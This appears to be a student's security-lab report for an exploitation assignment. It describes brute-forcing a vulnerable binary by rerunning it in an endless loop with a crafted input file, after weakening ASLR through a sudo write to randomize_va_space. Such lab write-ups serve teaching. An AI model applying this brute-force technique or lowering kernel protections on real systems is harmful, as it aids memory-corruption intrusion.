

Report for Question 3

By 2018201103

- **Brute force**

Running the same code as in Q1 multiple times till we get a hit.

Creating a shell script for the same

```
while true
do
    ./bin3 mal_file3.pgn
done
```

```
osboxes@osboxes:~/Downloads/Assignment-3$ uname -a
Linux osboxes 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:28:33 UTC 2019 i686 i686 i686 GNU/Linux
osboxes@osboxes:~/Downloads/Assignment-3$ md5sum bin3
c12c60b64fc217c480297d3e91bce962  bin3
osboxes@osboxes:~/Downloads/Assignment-3$
```

```
osboxes@osboxes:~/Downloads/Assignment-3$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
osboxes@osboxes:~/Downloads/Assignment-3$ . exploit3_brute.sh
```